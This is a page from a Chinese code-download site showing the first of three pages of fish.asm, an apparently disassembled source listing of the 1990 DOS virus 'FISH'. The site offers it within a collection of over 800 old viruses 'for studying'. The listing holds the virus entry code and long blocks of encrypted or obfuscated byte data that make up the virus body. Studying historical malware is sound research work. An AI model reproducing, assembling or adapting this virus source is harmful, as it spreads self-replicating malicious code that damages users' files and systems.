⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 fish.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 3 页
字号:
  
PAGE  59,132
  
;==========================================================================
;==                                                                      ==
;==                             FISH                                     ==
;==                                                                      ==
;==      Created:   29-Oct-90                                            ==
;==      Version:                                                        ==
;==      Passes:    5          Analysis Options on: AFKOPUX              ==
;==                                                                      ==
;==                                                                      ==
;==========================================================================
  
movseg           macro reg16, unused, Imm16     ; Fixup for Assembler
                 ifidn  <reg16>, <bx>
                 db     0BBh
                 endif
                 ifidn  <reg16>, <cx>
                 db     0B9h
                 endif
                 ifidn  <reg16>, <dx>
                 db     0BAh
                 endif
                 ifidn  <reg16>, <si>
                 db     0BEh
                 endif
                 ifidn  <reg16>, <di>
                 db     0BFh
                 endif
                 ifidn  <reg16>, <bp>
                 db     0BDh
                 endif
                 ifidn  <reg16>, <sp>
                 db     0BCh
                 endif
                 ifidn  <reg16>, <BX>
                 db     0BBH
                 endif
                 ifidn  <reg16>, <CX>
                 db     0B9H
                 endif
                 ifidn  <reg16>, <DX>
                 db     0BAH
                 endif
                 ifidn  <reg16>, <SI>
                 db     0BEH
                 endif
                 ifidn  <reg16>, <DI>
                 db     0BFH
                 endif
                 ifidn  <reg16>, <BP>
                 db     0BDH
                 endif
                 ifidn  <reg16>, <SP>
                 db     0BCH
                 endif
                 dw     seg Imm16
endm
DATA_1E         EQU     0B3H                                    ; (97E0:00B3=0)
DATA_5E         EQU     5A2BH                                   ; (97E0:5A2B=0)
DATA_6E         EQU     5E5DH                                   ; (97E0:5E5D=0)
DATA_7E         EQU     6920H                                   ; (97E0:6920=0)
  
SEG_A           SEGMENT BYTE PUBLIC
                ASSUME  CS:SEG_A, DS:SEG_A
  
  
                ORG     100h
  
FISH            PROC    FAR
  
START:
                JMP     LOC_4                                   ; (0EDE)
                PUSH    AX
                CMC                                             ; Complement carry
                SUB     DX,SI
                JLE     $-3FH                                   ; Jump if < or =
                SUB     AL,7FH
                REP     MOVSB                                   ; Rep when cx >0 Mov [si] to es:[di]
                POP     ES
                POP     DS
                POP     DI
                ADD     CL,CH
                RETF    0CD0DH                                  ; Return far
                AND     [BX+DI+50H],BH
                nop                                             ;*ASM fixup - displacement
                MOV     SI,DATA_7E                              ; (97E0:6920=0)
                JNC     LOC_1                                   ; Jump if carry=0
                DB      'a tiny VOM p'
                DB      0EBH, 7AH, 67H, 72H, 61H, 6DH
                DB       00H, 9CH, 2EH,0FFH, 1EH, 35H
                DB       0EH,0C3H
                DB       0DH, 4EH, 42H, 49H, 23H, 82H
LOC_1:
                OR      SP,DI
                ADD     DX,DS:DATA_6E[BX+DI]                    ; (97E0:5E5D=0)
                POP     SP
                POP     DI
                POP     BX
                POP     DX
                ADC     CX,[BP+DI]
                AND     SI,DX
                SUB     SP,DI
                ADD     SP,[BP+DI]
                OR      BYTE PTR [BP+DI],0E7H
                ADD     CX,[BP+SI]
                ADC     DL,[BP+SI+53H]
                PUSH    DI
                PUSH    SP
                PUSH    SI
                PUSH    BP
                NOP
                AND     SI,DX
                SUB     SP,DI
                ADD     BX,[BP+45H]
                DEC     SP
                POP     DI
                INC     SI
                AND     AX,DS:DATA_5E[SI]                       ; (97E0:5A2B=0)
                ADD     AH,[BP+DI]
                SBB     WORD PTR [BP+DI],254H
                ADD     BX,[BP+SI]
                AND     AX,[BP+562BH]
                ADD     AH,[BP+DI]
                IN      AX,0DEH                                 ; port 0DEH
                DB      0F2H, 23H, 83H, 1BH, 54H, 02H
                DB       23H, 84H, 2BH, 56H, 02H, 23H
                DB       86H, 2BH, 5AH, 02H,0CEH, 23H
                DB       84H, 2BH, 5AH, 02H, 23H, 81H
                DB       1BH, 54H, 02H, 03H, 1AH, 23H
                DB       86H, 2BH, 56H, 02H, 23H,0E5H
                DB       96H,0F2H, 23H, 83H, 1BH, 54H
                DB       02H, 23H, 84H, 2BH, 56H, 02H
                DB       23H, 86H, 2BH, 5AH, 02H,0CEH
                DB       81H,0B3H, 46H, 03H, 23H,0C9H
                DB       33H, 38H, 03H, 03H, 12H,0F1H
                DB      0B4H
                DB      8, 0DH, 0A1H, '+', 8BH, 8, 85H, 'I'
                DB      0F2H, 4AH,0EFH,0FBH,0CEH, 4EH
                DB       4CH, 5FH, 5DH,0BDH, 0CH, 03H
                DB       12H,0B7H,0BAH, 01H,0E5H, 0CH
                DB       0DH,0CEH, 0BH, 5EH, 3EH,0D6H
                DB       83H,0CEH, 87H,0D5H,0DCH,0EEH
                DB      0DCH,0EEH, 2BH, 84H, 1AH, 2BH
                DB       81H, 52H, 0FH, 56H, 0AH,0CEH
                DB       13H, 5BH, 3EH,0FBH, 83H,0D3H
                DB       3FH,0E9H, 86H,0FDH,0DCH,0EBH
                DB      0DCH,0EBH, 86H, 11H, 83H, 49H
                DB       0FH, 53H, 12H,0CEH, 4FH, 4CH
                DB       5EH, 5EH,0E5H,0BDH, 0FH,0B4H
                DB      0E5H, 5BH, 07H, 83H, 23H,0AEH
                DB      0EEH, 03H,0B9H, 5FH, 23H,0CAH
                DB       0BH, 56H, 02H, 0DH, 1DH, 23H
                DB       81H, 13H, 48H, 03H,0E5H, 8DH
                DB       06H,0E6H,0C0H, 2CH, 2BH, 86H
                DB       4AH,0F3H, 23H,0AEH, 4AH, 03H
                DB       03H, 12H,0E5H, 3DH, 07H,0ACH
                DB      0BDH, 2CH,0E5H,0BEH,0F2H, 81H
                DB       0BH, 22H, 03H, 84H, 13H, 20H
                DB       03H,0B7H,0BAH, 01H,0BDH, 0CH
                DB      0CBH, 0BH, 5DH, 03H, 0DH,0E5H
                DB       85H,0F2H, 91H, 55H, 00H, 0DH
                DB       0CH, 5DH, 90H, 91H,0B9H, 6CH
                DB      0F2H, 13H, 20H, 03H, 91H, 55H
                DB       28H,0F2H,0F3H, 5DH, 90H,0E5H
                DB      0ECH, 0CH,0AEH,0C9H, 33H, 20H
                DB       03H, 81H, 0BH, 3AH, 03H,0CBH
                DB       0BH, 46H, 03H,0E7H,0CAH, 0BH
                DB       41H, 03H, 56H, 00H, 84H, 33H
                DB       38H, 03H, 81H, 03H, 43H, 03H
                DB      0E5H, 0AH, 0DH,0E5H, 2BH,0F2H
                DB      0E5H, 1AH, 07H, 84H,0BDH, 22H
                DB      0E5H, 56H,0F2H, 81H,0CEH, 23H
                DB       34H, 13H, 4AH, 03H, 7EH, 11H
                DB      0E5H, 32H, 07H, 23H, 83H, 13H
                DB       22H, 03H, 23H,0F2H, 3BH, 20H
                DB       03H, 57H,0BDH, 1EH,0E5H, 24H
                DB      0F2H, 3EH,0D6H, 83H,0D6H,0CBH
                DB       0BH, 78H, 09H, 0FH,0CEH
                DB      '-KD^E-[D_X^-.;- -HLNE-IDKK- -OBC'
                DB      'C-?"4=-*sfcwt{bp*)'
                DB      0E5H,0CFH,0F3H, 23H, 81H, 03H
                DB       43H, 03H,0E5H,0B7H,0F3H, 03H
                DB       12H, 13H, 0AH,0ACH, 48H, 03H
                DB       83H,0CDH, 2BH,0C8H, 1BH, 07H
                DB       0DH, 83H,0D5H, 08H, 1DH, 0DH
                DB       23H, 0CH, 0BH, 17H, 0DH, 23H
                DB       8DH, 33H, 2DH, 0DH, 0DH,0F6H
                DB       78H, 29H, 23H,0ACH, 09H, 0DH
                DB      0AEH, 0DH, 0CH, 23H,0ACH, 0BH
                DB       0DH,0AEH, 0FH, 0CH, 23H,0ACH
                DB       05H, 0DH,0AEH, 09H, 0CH, 23H
                DB      0F2H, 3BH, 48H, 03H, 3EH,0CDH
                DB      0F3H,0C9H, 5DH, 23H,0ACH,0EEH
                DB       03H,0C6H, 23H, 0CH, 0BH, 1FH
                DB       0DH, 23H,0ACH,0EEH, 03H, 23H
                DB       86H, 2BH, 19H, 0DH, 23H, 83H
                DB       1BH, 1FH, 0DH, 23H,0F2H, 23H
                DB       15H
                DB       0DH, 59H, 5FH, 42H, 58H, 59H
LOC_2:
                DB       3EH,0E9H,0E5H, 0DH, 0DH, 84H
                DB      0C8H, 81H,0C5H,0B6H, 1DH, 0DH
                DB      0FAH,0EEH, 54H, 8CH,0E4H, 42H
                DB       0FH, 0EH,0CCH, 8EH,0DFH, 0DH
                DB      0FAH,0FEH, 5DH,0B5H,0F7H, 0DH
                DB       5DH, 84H,0E5H,0C6H,0E5H,0C1H
                DB       0DH,0C0H,0E5H, 29H, 07H,0C6H
                DB       5EH, 86H,0D1H, 3BH, 86H, 52H
                DB       0BH, 23H, 84H, 13H,0BEH, 03H
                DB       56H, 58H, 84H,0E8H,0E5H,0DDH
                DB       05H,0AEH,0E5H,0FCH,0F0H,0E5H
                DB       19H,0F3H,0E5H,0CBH,0F0H,0E5H
                DB       95H,0F0H,0E5H,0CDH, 05H, 85H
                DB       8DH,0F1H, 02H, 78H, 09H,0E4H
                DB      0E4H, 0DH,0B5H, 8DH,0F1H, 1CH
                DB       78H, 09H,0E4H, 96H, 0DH,0ACH
                DB       8DH,0F1H, 1FH, 78H, 09H,0E4H
                DB       9FH, 0DH, 84H, 8DH,0F1H, 19H
                DB       78H, 09H,0E4H, 04H, 0CH,0E6H
                DB       8DH,0F1H, 2CH, 78H, 09H,0E4H
                DB      0F9H, 0DH, 81H, 8DH,0F1H, 2EH
                DB       78H, 09H,0E4H, 89H, 0CH,0AEH
                DB       8DH,0F1H, 2AH, 78H, 09H,0E4H
                DB      0EDH, 0DH,0E6H, 8DH,0F1H, 30H
                DB       78H, 09H,0E4H,0CBH
DATA_3          DW      0F20CH                                  ; Data table (indexed access)
                DB       8DH,0F1H, 33H, 78H, 09H,0E4H
                DB       0CH, 0FH,0ACH, 8DH,0F1H, 32H
                DB       78H, 09H,0E4H, 70H, 0AH, 85H
                DB       8DH,0F1H, 4FH, 78H, 09H,0E4H
                DB       4FH, 0AH, 81H, 8DH,0F1H, 46H
                DB       78H, 09H,0E4H, 11H, 0FH,0E6H
                DB       8DH,0F1H, 43H, 78H, 09H,0E4H
                DB       5EH, 05H, 84H, 8DH,0F1H, 42H
                DB       78H, 09H,0E4H, 47H, 05H, 83H
                DB       8DH,0F1H, 5AH, 78H, 0EH,0E4H
                DB      0C2H, 0BH,0E4H, 5AH, 04H,0E6H
                DB      0E5H, 7FH, 04H,0ACH,0E5H, 5EH
                DB      0F0H,0E5H, 7BH,0F0H,0E5H, 25H
                DB      0F0H, 84H,0E8H, 23H,0F2H, 3BH
                DB      0BEH, 03H, 82H, 4BH, 0BH, 50H
                DB      0C2H, 23H,0F2H, 0BH, 3CH, 03H
                DB      0E4H, 19H, 05H,0ACH,0E5H,0F5H
                DB      0F1H,0E5H,0DAH,0F1H, 07H,0CDH
                DB       78H,0D9H,0E5H,0D6H,0F1H,0E5H

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -